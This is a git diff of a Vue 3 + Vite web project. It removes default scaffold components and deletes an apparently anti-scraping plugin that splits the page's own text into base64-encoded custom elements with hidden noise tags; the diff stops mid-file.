<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
|
|||||||
VueScrollTo.scrollTo("#app", 0);
|
VueScrollTo.scrollTo("#app", 0);
|
||||||
next();
|
next();
|
||||||
});
|
});
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
